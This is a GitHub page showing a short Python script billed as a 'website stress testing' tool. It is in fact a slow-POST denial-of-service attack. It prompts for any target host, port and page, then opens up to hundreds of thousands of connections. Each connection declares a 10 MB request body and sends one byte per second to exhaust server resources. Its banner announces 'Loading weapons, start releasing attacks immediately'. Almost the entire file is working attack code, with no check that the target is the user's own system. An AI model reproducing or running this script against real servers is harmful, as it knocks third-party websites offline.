WebsiteStressTestingScript/main.py at main · MaZhaoze/WebsiteStressTestingScript · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import socket
import time
import threading
#导入模块

print("""
                          __----~~~~~~~~~~~------___
                                   .  .   ~~//====......          __--~ ~~
                   -.            \_|//     |||\\  ~~~~~~::::... /~
                ___-==_       _-~o~  \/    |||  \\            _/~~-
        __---~~~.==~||\=_    -_--~/_-~|-   |\\   \\        _/~
    _-~~     .=~    |  \\-_    '-~7  /-   /  ||    \      /
  .~       .~       |   \\ -_    /  /-   /   ||      \   /
 /  ____  /         |     \\ ~-_/  /|- _/   .||       \ /
 |~~    ~~|--~~~~--_ \     ~==-/   | \~--===~~        .\
          '         ~-|      /|    |-~\~~       __--~~
                      |-~~-_/ |    |   ~\_   _-~            /\
                           /  \     \__   \/~                \__
                       _--~ _/ | .-~~____--~-/                  ~~==.
                      ((->/~   '.|||' -_|    ~~-/ ,              . _||
                                 -_     ~\      ~~---l__i__i__i--~~_/
                                 _-~-__   ~)  \--______________--~~
                               //.-~~~-~_--~- |-------~~~~~~~~
                                      //.-~~~--\ """)
print("\033[34m[*]Loading weapons, start releasing attacks immediately\033[0m")
print("\033[34m[*]Enter the number of release test attacks\033[0m")

MAX_CONN = 200000  # 最大连接数
MAX_CONN = input()
PORT = 80
print("\033[34m[*]Enter the development port for releasing particles\033[0m")
PORT = input()
HOST = "127.0.0.1"  # 目标IP或域名.
print("\033[34m[*]enter ip\033[0m")
HOST = input()
PAGE = "/index.php"  # 目标页面
print("enter PAGE")
PAGE = input()
buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"  # 实体数据大小
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

socks = []

def conn_thread():
    global socks
    for i in range(0, MAX_CONN):  # MAX_CONN允许最大连接数
        # AF_INET 表示 IPv4 地址，创建 TCP套接字，必须使用 SOCK_STREAM 作为套接字类型
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf.encode())
            print("[+] 成功发送buf!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] 无法连接服务器或发送错误:%s" % ex)
            time.sleep(1)  # 暂停1秒

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
            except Exception as ex:
                print("[-] 发送异常:%s\n" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)


# 建立多线程
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
# 开启线程
conn_th.start()
send_th.start()

conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
send_th2.start()